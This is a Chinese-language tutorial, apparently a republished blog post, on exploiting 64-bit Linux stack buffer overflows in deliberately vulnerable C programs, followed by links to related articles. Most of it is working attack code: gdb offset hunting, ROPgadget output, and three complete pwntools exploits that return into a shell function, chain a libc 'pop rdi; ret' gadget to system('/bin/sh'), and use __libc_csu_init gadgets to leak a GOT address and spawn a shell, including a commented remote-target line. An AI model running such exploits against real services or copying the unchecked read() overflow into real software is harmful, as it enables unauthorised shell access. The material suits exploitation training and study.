Linux_x64_Pwn溢出漏洞
linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点:
首先是内存地址的范围由32位变成了64位
但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上
但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上
漏洞程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
打开ASLR并用如下方法编译(默认打开)
gcc -fno-stack-protector vuln.c -o vuln
通过分析源码,我们可以看到想要获取这个程序的shell非常简单
只需要控制PC指针跳转到callsystem()这个函数的地址上即可。
因为程序本身在内存中的地址不是随机的,所以不用担心函数地址发生改变。
接下来就是要找溢出点了
peda$ pattern create 150 payload
然后运行gdb ./vuln
后输入这串字符串造成程序崩溃
peda$ r < payload
奇怪的事情发生了,PC指针并没有指向类似于0x41414141
那样地址
而是停在了vulnerable_function()
函数中
这是为什么呢?
原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff
,否则会抛出异常。
但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。
因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了
gdb-peda$ x/gx $rsp
0x7fffffffde58: 0x41416d4141514141
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示
随后我们就可以用pattern来计算溢出点
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
可以看到溢出点为136字节。
我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff
的地址,看看这次能否控制pc的指针
python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
(gdb) run < payload
可以看到我们已经成功的控制了PC的指针了。
最终的exp如下
#!/usr/bin/env python
from pwn import *
elf = ELF('vuln')
p = process('./vuln')
#p = remote('127.0.0.1',10001)
callsystem = 0x0000000000400584
payload = "A"*136 + p64(callsystem)
p.send(payload)
p.interactive()
使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里
如果还有更多的参数的话才会保存在栈上
所以我们需要寻找一些类似于pop rdi; ret
的这种gadget
如果是简单的gadgets,我们可以通过objdump来查找
但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
目标程序源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
编译
gcc -fno-stack-protector vuln.c -o vuln -ldl
首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了
只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)
但为了调用system(“/bin/sh”)
,我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址
于是我们使用ROPGadget搜索一下vuln中所有pop ret的gadgets
$ ROPgadget --binary vuln --only "pop|ret"
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret #蒸米大佬那篇文章中说找不到,我这里找到了,但是在exp中无效,还是使用下面的解决办法
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400601 : ret
0x0000000000400682 : ret 0x2009
0x0000000000400291 : ret 0x521d
找不到,可能因为程序比较小,在目标程序中并不能找到pop rdi; ret
这个gadget。
怎么办呢?解决方案是寻找libc.so中的gadgets。
因为程序本身会load libc.so到内存中并且会打印system()的地址。
所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret #exp中用这个
0x0000000000067499 : pop rdi ; ret 0xffff
这样就能成功的找到“pop rdi; ret”这个gadget了,也就可以构造我们的ROP链了
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
另外,因为我们只需调用一次system()函数就可以获取shell
所以我们也可以搜索不带ret的gadgets来构造ROP链
$ ROPgadget --binary vuln --only "pop|call"Gadgets information
============================================================
0x000000000040078e : call rax Unique gadgets found: 1
通过搜索结果我们发现,0x000000000040078e : call rax
也可以完成我们的目标
首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
所以说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可
最终exp如下
#!/usr/bin/env python
from pwn import * libc = ELF('libc.so.6') p = process('./vuln')
#p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x000000000040078e - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n"
p.send(payload) p.interactive()
通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数)
所以虽然很多程序的源码不同,但是初始化的过程是相同的
因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
为了方便学习x64下的ROP,前边两个程序都留了一些辅助函数在程序中
这次我们将这些辅助函数去掉再来挑战一下。
目标程序如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用
所以我们要先想办法泄露内存信息,找到system()的值
然后再传递“/bin/sh”到.bss段,最后调用system(“/bin/sh”)
因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址
从而计算出libc.so在内存中的地址。
但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。
我们使用ROPgadget并没有找到类似于pop rdi, ret
,pop rsi, ret
这样的gadgets。
那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用
比如说我们用objdump -d ./vuln
观察一下__libc_csu_init()
这个函数
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作
0000000000400660 <__libc_csu_init>:
400660: 41 57 push %r15
400662: 41 56 push %r14
400664: 41 89 ff mov %edi,%r15d
400667: 41 55 push %r13
400669: 41 54 push %r12
40066b: 4c 8d 25 9e 07 20 00 lea 0x20079e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry>
400672: 55 push %rbp
400673: 48 8d 2d 9e 07 20 00 lea 0x20079e(%rip),%rbp # 600e18 <__init_array_end>
40067a: 53 push %rbx
40067b: 49 89 f6 mov %rsi,%r14
40067e: 49 89 d5 mov %rdx,%r13
400681: 4c 29 e5 sub %r12,%rbp
400684: 48 83 ec 08 sub $0x8,%rsp
400688: 48 c1 fd 03 sar $0x3,%rbp
40068c: e8 cf fd ff ff callq 400460 <_init>
400691: 48 85 ed test %rbp,%rbp
400694: 74 20 je 4006b6 <__libc_csu_init+0x56>
400696: 31 db xor %ebx,%ebx
400698: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
40069f: 00
4006a0: 4c 89 ea mov %r13,%rdx
4006a3: 4c 89 f6 mov %r14,%rsi
4006a6: 44 89 ff mov %r15d,%edi
4006a9: 41 ff 14 dc callq *(%r12,%rbx,8)
4006ad: 48 83 c3 01 add $0x1,%rbx
4006b1: 48 39 eb cmp %rbp,%rbx
4006b4: 75 ea jne 4006a0 <__libc_csu_init+0x40>
4006b6: 48 83 c4 08 add $0x8,%rsp
4006ba: 5b pop %rbx
4006bb: 5d pop %rbp
4006bc: 41 5c pop %r12
4006be: 41 5d pop %r13
4006c0: 41 5e pop %r14
4006c2: 41 5f pop %r15
4006c4: c3 retq
4006c5: 90 nop
4006c6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
4006cd: 00 00 00
00000000004006d0 <__libc_csu_fini>:
4006d0: f3 c3 repz retq
我们可以看到利用0x4006ba
处的代码我们可以控制rbx、rbp、r12、r13、r14 和 r15 的值
随后利用0x4006a0
处的代码我们将
r13 的值赋值给rdx
r14的值赋值给rsi
r15的值赋值给edi
随后就会调用call qword ptr [r12+rbx*8]
这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,
我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)
执行完call qword ptr [r12+rbx*8]
之后,程序会对rbx+=1
然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。
所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
大概思路就是这样,我们来构造ROP链。
我们先构造payload1,利用write()输出write在内存中的地址。
注意我们的gadget是call qword ptr [r12+rbx*8]
所以我们应该使用write.got的地址而不是write.plt的地址
并且为了返回到原程序中,重复利用buffer overflow的漏洞
我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。
接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x4006ba) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。
注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
最终exp如下:
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('vuln')
libc = ELF('libc.so.6')
p = process('./vuln')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400620 # gdb$ p main
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601048 # readelf -S vuln | grep bss
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x4006ba) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
要注意的是,当我们把程序的io重定向到socket上的时候
根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。
这时候要多试几次即可成功,如果进行远程攻击的话,需要保证ping值足够小才行(局域网)
Linux_x64_Pwn溢出漏洞的更多相关文章
- SEED信息安全实验系列:缓冲区溢出漏洞实验
缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...
- Linux堆溢出漏洞利用之unlink
Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...
- Nagios Core/Icinga 基于栈的缓冲区溢出漏洞
漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...
- Nagios "process_cgivars()" 单字节溢出漏洞
漏洞版本: Nagios Nagios 4.x Nagios Nagios 3.x 漏洞描述: Nagios是一款免费开放源代码的主机和服务监视软件,可使用在多种Linux和Unix操作系统下. Na ...
- Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞
漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
- Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...
- Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞
漏洞名称: Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-067 发布时间: 2013-11-07 ...
随机推荐
- How to Evaluate Machine Learning Models, Part 4: Hyperparameter Tuning
How to Evaluate Machine Learning Models, Part 4: Hyperparameter Tuning In the realm of machine learn ...
- [数据库中间件]centos6.6下配置libzdb所产生的错误
1.关于gmtime_r.timegm的隐藏声明错误,从系统的time.h中复制两个函数引用到libzdb自己定义的time.h,代码如下: extern struct tm *gmtime_r (c ...
- 【BZOJ】1798: [Ahoi2009]Seq 维护序列seq 线段树多标记(区间加+区间乘)
[题意]给定序列,支持区间加和区间乘,查询区间和取模.n<=10^5. [算法]线段树 [题解]线段树多重标记要考虑标记与标记之间的相互影响. 对于sum*b+a,+c直接加上即可. *c后就是 ...
- Kali设置代理
原文:Kali-linux设置ProxyChains ProxyChains是Linux和其他Unices下的代理工具.它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP.SO ...
- HDU 2191 珍惜现在,感恩生活 (dp)
题目链接 Problem Description 急!灾区的食物依然短缺! 为了挽救灾区同胞的生命,心系灾区同胞的你准备自己采购一些粮食支援灾区,现在假设你一共有资金n元,而市场有m种大米,每种大米都 ...
- solr笔记之安装部署到tomcat
1. 下载 solr 去官网下载,下载的时候选清华的镜像源,这个页面:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.1.0/ 在/ ...
- Xcode 获取本地IP
// // // #define MAXADDRS 32 extern char *ip_names[MAXADDRS]; void InitAddresses(); void GetIPAddres ...
- Mysql储存过程7: case
#用在储存过程中: create procedure k() begin declare number int; )); case number then select '>0'; else s ...
- Mysql存储之ORM框架SQLAlchemy(一)
上一篇我们说了mysql存储的原生语句方式,因为原生语句每次写都比较的复杂,所以这里我们说一种引用实体类的方式来操作数据库. 什么是ORM ORM技术:Object-Relational Mappin ...
- iTextSharp之pdfRead(两个文件文本内容的比较,指定页数的pdf截取,水印的添加)
using iTextSharp.text; using iTextSharp.text.pdf; using iTextSharp.text.pdf.parser; using System; us ...